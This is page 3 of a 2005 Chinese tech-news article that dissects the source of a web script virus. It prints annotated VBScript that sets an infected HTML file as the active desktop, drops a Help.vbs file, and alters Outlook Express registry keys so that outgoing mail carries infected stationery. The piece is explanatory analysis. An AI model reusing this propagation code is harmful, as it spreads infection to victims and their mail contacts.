揭密:各种各样网页病毒源码解析(3)

中华网科技 http://tech.china.com 2005-07-27 13:46:04

【进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号：大 中 小】【关闭窗口】

　　
Tsend
　　Else
　　adds = Og
　　Msend (adds)
　　End If
　　End If
　　wp = Rg("HKEY_CURRENT_USERControl PaneldesktopwallPaper")
　　If Rg(Ks & "HelpwallPaper") <> wp Or wp = "" Then
　　’比较桌面墙纸是否已改变

　　If wp = "" Then
　　n1 = ""
　　n3 = Cs & "Help.htm"
　　Else
　　mP = Of.GetFile(wp).ParentFolder
　　n1 = Of.GetFileName(wp)
　　n2 = Of.GetBaseName(wp)
　　n3 = Cs & "" & n2 & ".htm"
　　End If
　　Set pfc = Of.CreateTextFile(n3, True)
　　mt = Sa("1100")
　　’创建超文本

　　pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’><
　　" & "/Body><" & "/HTML>" & mt
　　’超文本的内容

　　pfc.Close
　　Rw Ks & "HelpwallPaper", n3
　　Rw "HKEY_CURRENT_USERControl PaneldesktopwallPaper", n3
　　’将带毒的超文本设置成活动桌面

　　End If
　　Else
　　Set fc = Of.CreateTextFile(Ds & "Help.vbs", True)
　　fc.Write Sa("0100")
　　’创建vbs文件

　　fc.Close
　　bf = Cs & "Untitled.htm"
　　Set fc2 = Of.CreateTextFile(bf, True)
　　fc2.Write Lhtml
　　fc2.Close
　　’创建windows下的untitled.htm

　　oeid = Rg("HKEY_CURRENT_USERIdentitiesDefault User ID")
　　oe = "HKEY_CURRENT_USERIdentities" & oeid & "SoftwareMicrosoftOutlook E
　　xpress5.0Mail"
　　MSH = oe & "Message Send HTML"
　　CUS = oe & "Compose Use Stationery"
　　SN = oe & "Stationery Name"
　　Rw MSH, 1
　　Rw CUS, 1
　　Rw SN, bf
　　’在Hkey_Current_User＼Identities＼＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向windowsuntitled.htm

　　Web = Cs & "WEB"
　　Set gf = Of.GetFolder(Web).Files
　　’得到windowsweb文件夹里的文件

　　Od.Add "htt", "1100"
　　’向Dictionary里添加htt项目对

　　For Each m In gf
　　’遍历windowsweb下的每一个文件

　　fext = GetExt(Of, Od, m)
　　’得到每个文件的扩展名

首页 上页 | 1 | 2 | 3 | 4 | 5 | 下页 尾页  共 5 页